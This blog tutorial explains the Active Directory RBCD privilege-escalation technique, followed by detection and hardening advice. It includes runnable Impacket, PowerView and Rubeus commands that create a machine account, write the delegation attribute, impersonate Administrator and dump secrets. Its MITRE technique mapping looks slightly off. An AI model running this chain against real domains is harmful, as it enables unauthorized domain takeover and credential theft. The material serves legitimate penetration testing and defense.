Resource-Based Constrained Delegation (RBCD) Attack: From a Single Computer Account to Domain Compromise

Active Directory
2026.05.24
Time it takes to read this article 5 minutes.

Disclaimer

This article is intended strictly for educational purposes and for authorized security testing. Only perform these techniques against systems you own or have explicit, written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction. The author assumes no liability for misuse.

Introduction / Overview

Resource-Based Constrained Delegation (RBCD) is one of the most reliable privilege-escalation primitives in modern Active Directory environments. Introduced with Windows Server 2012, it flips the classic delegation model on its head: instead of the front-end service being trusted to delegate, the resource (the target host) decides which accounts are allowed to impersonate users to it.

That seemingly small change creates a powerful abuse path. If you can write a single attribute — msDS-AllowedToActOnBehalfOfOtherIdentity — on a target computer object, you can make a machine account you control impersonate any user (including a Domain Admin) to that target. In this article you will learn how RBCD works, how to chain it from a low-privilege foothold, and — equally important — how the Blue Team detects and prevents it.

This builds on Kerberos abuse concepts covered in Kerberoasting and Unconstrained Delegation.

How It Works / Background

Kerberos delegation lets a service act on behalf of a user toward another service. RBCD relies on two protocol extensions:

  • S4U2Self — a service requests a service ticket to itself on behalf of an arbitrary user, without that user's credentials.
  • S4U2Proxy — the service uses that ticket to request a ticket to a back-end service, impersonating the user.

In RBCD, the back-end target's attribute msDS-AllowedToActOnBehalfOfOtherIdentity holds a security descriptor listing the principals (SIDs) permitted to delegate to it. When attacker-controlled SERVICE$ is in that list, the KDC happily issues S4U2Proxy tickets for any user toward the target.

The critical precondition: the impersonating account must possess a Service Principal Name (SPN). Computer accounts always have SPNs, which is why attackers create or hijack a machine account. By default, any authenticated user can create up to 10 computer accounts, governed by the ms-DS-MachineAccountQuota attribute.

Write access to the target is the linchpin. Any of GenericWrite, GenericAll, WriteDacl, WriteProperty, or WriteOwner over the target computer object is sufficient to set the delegation attribute.

Prerequisites / Lab Setup

To reproduce this you need:

  • A domain user with WriteProperty/GenericWrite/GenericAll over a target computer object.
  • ms-DS-MachineAccountQuota > 0 (default is 10), OR an existing machine account whose password you control.
  • Network access to the KDC (Kerberos, TCP/UDP 88) and LDAP (389/636).
  • Impacket installed (pipx install impacket) for addcomputer.py, rbcd.py, getST.py, and secretsdump.py.

A typical lab: a Windows Server 2019/2022 Domain Controller, a member server TARGET$, and a low-privilege user lowpriv who was granted GenericWrite over TARGET$ (a common real-world misconfiguration via delegated OU permissions or ACL drift).

Attack Walkthrough / PoC

Step 1 — Create a controlled machine account

We need an account with an SPN. Use Impacket's addcomputer.py to add one using the machine account quota:

addcomputer.py -computer-name 'EVILPC$' \
  -computer-pass 'Passw0rd123!' \
  -dc-host dc01.corp.local \
  'corp.local/lowpriv:Summer2025!'

Confirm creation via LDAP or bloodyAD:

bloodyAD --host dc01.corp.local -d corp.local \
  -u lowpriv -p 'Summer2025!' get object 'EVILPC$'

Step 2 — Configure delegation on the target

Now write msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET$, granting EVILPC$ the right to delegate. Impacket's rbcd.py builds and writes the security descriptor for you:

rbcd.py -delegate-from 'EVILPC$' \
  -delegate-to 'TARGET$' \
  -dc-host dc01.corp.local \
  -action write \
  'corp.local/lowpriv:Summer2025!'

Verify the attribute was set:

rbcd.py -delegate-to 'TARGET$' -action read \
  -dc-host dc01.corp.local \
  'corp.local/lowpriv:Summer2025!'

You should see EVILPC$ listed as allowed to act on behalf of other identities.

Step 3 — Abuse S4U to impersonate a privileged user

Request a service ticket as Administrator for a service running on TARGET$ (e.g., CIFS), using the S4U2Self + S4U2Proxy chain:

getST.py -spn 'cifs/target.corp.local' \
  -impersonate 'Administrator' \
  -dc-ip 10.0.0.10 \
  'corp.local/EVILPC$:Passw0rd123!'

This writes Administrator@cifs_target.corp.local@CORP.LOCAL.ccache.

Step 4 — Use the ticket

export KRB5CCNAME='Administrator@cifs_target.corp.local@CORP.LOCAL.ccache'
secretsdump.py -k -no-pass target.corp.local

With CIFS impersonation you can dump SAM/LSA secrets; with host/ you can run scheduled tasks; with ldap/ against a DC you can perform DCSync. Game over.

Windows / PowerShell equivalent

From a Windows foothold the same configuration is possible with PowerView and Rubeus:

# Set the delegation attribute (PowerView)
$sid = (Get-DomainComputer EVILPC).objectsid
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor `
  "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$bytes = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($bytes, 0)
Set-DomainObject -Identity TARGET$ `
  -Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}

# Abuse with Rubeus
Rubeus.exe s4u /user:EVILPC$ /rc4:<NTLM_of_EVILPC> `
  /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /ptt

Attack Flow Diagram

Resource-Based Constrained Delegation (RBCD) Attack: From a Single Computer Account to Domain Compromise diagram 1

Text summary: the attacker creates a controlled computer account, writes the delegation attribute on the target, then uses S4U2Self/S4U2Proxy to obtain an Administrator service ticket and compromises the target.

Detection & Defense (Blue Team)

RBCD leaves clear footprints if you are watching the right places.

Detection

  • Directory Service changes (Event ID 5136): Monitor modifications to msDS-AllowedToActOnBehalfOfOtherIdentity. A change to this attribute outside of a sanctioned delegation workflow is highly suspicious. Enable the "Audit Directory Service Changes" subcategory.
  • Computer account creation (Event ID 4741): A new computer object created by a non-admin user account, especially one immediately followed by a delegation write, is a strong RBCD indicator. Correlate with 4742 (computer changed).
  • Kerberos S4U anomalies (Event ID 4769): Service ticket requests where a machine account requests tickets for high-value users (Administrator, krbtgt-adjacent accounts) point to S4U2Proxy abuse. Look for Transited Services populated in the ticket.
  • BloodHound / tooling: Run BloodHound regularly and alert on AllowedToAct edges and dangerous ACLs (GenericWrite/GenericAll) on computer objects.

Prevention / Hardening

  • Set ms-DS-MachineAccountQuota to 0. This single change removes the easiest path to a controlled machine account for non-privileged users. Provision machine accounts through a delegated, audited process instead.

    Set-ADDomain -Identity corp.local `
  -Replace @{"ms-DS-MachineAccountQuota"="0"}

  • Audit and tighten ACLs on computer objects. Remove GenericWrite/GenericAll/WriteDacl from non-administrative principals. ACL drift is the root cause of most RBCD chains.

  • Add sensitive accounts to the Protected Users group and flag them "Account is sensitive and cannot be delegated" (ADS_UF_NOT_DELEGATED, the NotDelegated flag). Such accounts cannot be impersonated via S4U.

  • Monitor and restrict delegation attributes centrally; treat any write to msDS-AllowedToActOnBehalfOfOtherIdentity as a privileged operation requiring change control.

  • Tier your administration. Even with a foothold, strong tiering limits which targets an attacker can reach and what those tickets unlock.

This maps to MITRE ATT&CK T1558.003 (Steal or Forge Kerberos Tickets) and the broader T1484 (Domain Policy / object modification) tradecraft.

Conclusion

RBCD is dangerous precisely because it is a feature, not a vulnerability — there is no patch. The entire attack hinges on two conditions an attacker can frequently satisfy: the ability to control a machine account and write access to a target computer object. Eliminate the machine account quota, audit your computer-object ACLs, protect sensitive accounts from delegation, and watch Event IDs 5136, 4741, and 4769. Defenders who close those gaps turn a one-step domain takeover into a dead end.

For related delegation tradecraft, see Constrained Delegation Abuse.

References

Comments

Copied title and URL